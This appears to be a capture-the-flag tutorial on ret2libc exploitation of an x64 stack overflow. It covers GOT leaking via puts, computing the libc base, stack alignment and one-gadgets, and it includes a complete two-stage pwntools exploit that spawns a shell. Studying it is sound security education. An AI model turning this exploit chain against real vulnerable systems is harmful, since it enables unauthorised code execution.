Ret2Libc: Bypassing NX Protection

Exploiting a stack buffer overflow with NX enabled using GOT leaking and return-to-libc - a complete two-stage exploit covering libc identification, ASLR defeat via PLT/GOT leak, calling-convention setup, and reliable shell.

Protections

NX enabled (no shellcode on stack), no PIE (fixed PLT/GOT addresses), no stack canary.

This is the classic mid-difficulty CTF binary: nothing exotic, but enough mitigations that a “shellcode on the stack” exploit doesn’t fly. Each protection has to be defeated by a different primitive, and the elegance of ret2libc is that a single overflow chained twice solves all three problems at once.

Protection What it stops What still works
NX Executing your own bytes on the stack/heap Returning into existing executable code (libc)
ASLR Predicting libc / stack / heap addresses Reading runtime addresses through a leak primitive
no PIE (No new defense - leaves the binary at fixed addresses) Hardcoding PLT, GOT, .bss, ROP gadgets
no canary (No defense - overflows reach the return address directly) Direct return-address overwrite

The plan: use the binary’s own PLT/GOT to leak a libc function’s runtime address (defeats ASLR), compute libc base, jump back into the vulnerable function, and on the second pass send a ROP chain that calls system("/bin/sh").

Why Ret2Libc, Not Pure Shellcode

NX (PROT_EXEC denied on writable pages) means the stack and heap can’t run code. But your exploit primitive (control of the saved return address) doesn’t need to execute new code - it just redirects flow. Returning into libc means returning to already-executable code that the loader has mapped RX. From there, all the libc tooling you’d ever want - system, execve, puts, dlopen, one-gadgets - is reachable as raw function pointers.

Stage 1: Leak libc

Use puts@plt to print puts@got runtime address, loop back to vuln() for a second payload. Calculate libc base from the leak.

Why puts?

Three reasons make puts the canonical leak gadget:

  1. It is almost always imported (every “Hello, world” program uses it).
  2. It takes a single pointer argument, so the calling convention is trivial - only rdi to set up on x64.
  3. It writes raw bytes to stdout up to the first \x00. For an x64 libc address (six meaningful bytes followed by two \x00s), the trailing nulls terminate the print cleanly.

If the binary doesn’t import puts, equivalent alternatives are printf (with "%s"), write (with fd=1, count=8), __libc_start_main references, and puts@plt itself if statically linked.

How the GOT/PLT Leak Works

When the binary calls puts(...), it actually calls puts@plt, a tiny stub:

puts@plt:
    jmp  qword ptr [puts@got]      ; first call: jumps to lazy-binding stub
    push <reloc index>             ; subsequent calls: jumps directly to libc
    jmp  _dl_runtime_resolve

After the first invocation, puts@got holds the runtime address of libc!puts. The leak primitive is:

# x64: rdi = first arg
payload  = b"A" * OFFSET             # fill stack to saved RIP
payload += p64(pop_rdi)              # pop rdi; ret  (gadget in binary)
payload += p64(elf.got['puts'])      # arg = address of puts@got
payload += p64(elf.plt['puts'])      # call puts(puts@got)
payload += p64(elf.symbols['main'])  # return back to main → second iteration

puts(puts@got) prints the raw 6-byte little-endian libc address to stdout. Read it back, pad to 8 bytes, and unpack:

io.recvline()                           # consume any prompt
leak = io.recv(6).ljust(8, b'\x00')
libc_puts = u64(leak)
libc_base = libc_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc_base)}")

Identifying the Right libc

Without the right libc.so.6, your offsets are wrong and the second stage will crash. Three approaches:

  1. Library bundled with the challenge - most CTFs ship libc.so.6; trust it and use pwntools.elf.ELF('libc.so.6').
  2. libc-database / libc.rip - paste two leaked symbol addresses and the service identifies the matching distribution build.
  3. Multiple leaks via printf("%s", got_entry) to gather enough function offsets for unique fingerprinting.

Returning to main (or vuln)

The trick that makes the chain two-stage is returning to the start of the vulnerable function so the program prompts for input again. On the second pass, ASLR is no longer in your way - you have libc base.

1st payload  →  leaks libc          →  returns to main()
2nd payload  →  uses leaked libc    →  system("/bin/sh")

This pattern works any time the vuln function is called inside a loop or reachable from main. If main exits (exit()/_exit), substitute a function that returns naturally to main.

Stage 2: Shell

Build a second ROP chain calling system("/bin/sh") using the calculated libc base.

rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
io.sendlineafter(b'payload:\n', b'A' * 72 + rop2.chain())
io.interactive()

What pwntools Builds Under the Hood

rop2.system(addr_of_binsh) produces effectively:

b"A" * OFFSET
+ p64(pop_rdi_gadget)        # gadget is in libc; binary may also have one
+ p64(libc_base + binsh_off) # rdi = "/bin/sh"
+ p64(ret_gadget)            # 16-byte alignment if needed
+ p64(libc_base + system_off) # system()

Note next(libc.search(b'/bin/sh\x00')) - every modern glibc contains the literal string "/bin/sh" in .rodata, so you don’t have to write one yourself.

Stack Alignment, Again

If system crashes inside do_system → readline_internal_setup → memchr on a movaps instruction, the cause is almost always misaligned RSP. Insert a bare ret gadget before the system call to add 8 bytes and re-align:

rop = b''
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(ret_align)        # plain `ret` gadget - 1-byte 0xc3 inside libc
rop += p64(system)

One-Gadget as a Shortcut

Alternative to the full system("/bin/sh") setup, search libc with one_gadget:

one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
        constraints: rsp & 0xf == 0; rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
        constraints: [rsp+0x40] == NULL

A one-gadget executes execve("/bin/sh", ...) if its preconditions are satisfied. When they are, your ROP chain shrinks to:

payload = b'A' * OFFSET + p64(libc_base + ONE_GADGET_OFFSET)

If none of the gadgets’ constraints are satisfiable, fall back to the explicit system chain.

Putting It Together

from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
io   = process('./vuln')

# --- Stage 1: leak libc via puts(puts@got), return to main ---
pop_rdi = next(elf.search(asm('pop rdi; ret'), executable=True))
ret_g   = next(elf.search(asm('ret'),         executable=True))

stage1  = b'A' * 72
stage1 += p64(pop_rdi)
stage1 += p64(elf.got['puts'])
stage1 += p64(elf.plt['puts'])
stage1 += p64(elf.symbols['main'])

io.sendlineafter(b'payload:\n', stage1)
leak = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f"libc base = {hex(libc.address)}")

# --- Stage 2: system("/bin/sh") ---
binsh   = next(libc.search(b'/bin/sh\x00'))
system  = libc.symbols['system']

stage2  = b'A' * 72
stage2 += p64(pop_rdi)
stage2 += p64(binsh)
stage2 += p64(ret_g)        # alignment
stage2 += p64(system)

io.sendlineafter(b'payload:\n', stage2)
io.interactive()

Variations Worth Knowing

  • execve syscall ROP: when libc misbehaves under attack (Seccomp restricts system), build the chain manually using libc-resident pop rax/rdi/rsi/rdx; syscall gadgets to invoke execve("/bin/sh", NULL, NULL).
  • mprotect + shellcode: turn a .bss/heap region executable and jump to copied shellcode. Useful when you want to stage a longer payload than a ROP chain can comfortably express.
  • dl_resolve: against partial RELRO + no leak source, abuse _dl_runtime_resolve to resolve an arbitrary symbol from a fake Elf64_Rela you write into .bss. No libc leak required.
  • stack pivot: when the buffer is too small for a full chain, pivot RSP into a larger controlled region (leave; ret with a controlled saved RBP, xchg rsp, rax gadgets, etc.).

Mitigations Worth Calling Out

Mitigation Effect
Full RELRO GOT is read-only after loading - puts@got exists but cannot be overwritten. Leak primitive still works; arbitrary-write into GOT does not.
PIE Removes hardcoded PLT/GOT addresses - you need an additional info leak (often via the same vuln) to derive the binary base before stage 1.
Stack canary Direct overwrite of saved RIP no longer works - see the format-string canary bypass post for a chained variant.
Shadow stacks (CET) The saved return address is mirrored in a hardware-protected region. ret2libc fails at the first ret; only signal-frame / SROP-style attacks survive.
seccomp filter execve and system may be blocked outright. Switch to open/read/write chain or orw ROP.
Protection Bypass
NX ret2libc - no shellcode
ASLR GOT leak via puts
No PIE Hardcoded PLT/GOT

Ret2libc is the gateway technique to ROP. Once you can leak an address, return to a function, and chain a second payload, every fancier exploit (full ROP chains, sigreturn-oriented programming, COP/JOP) is just a variation on the same theme.

← Home More Binary exploitation →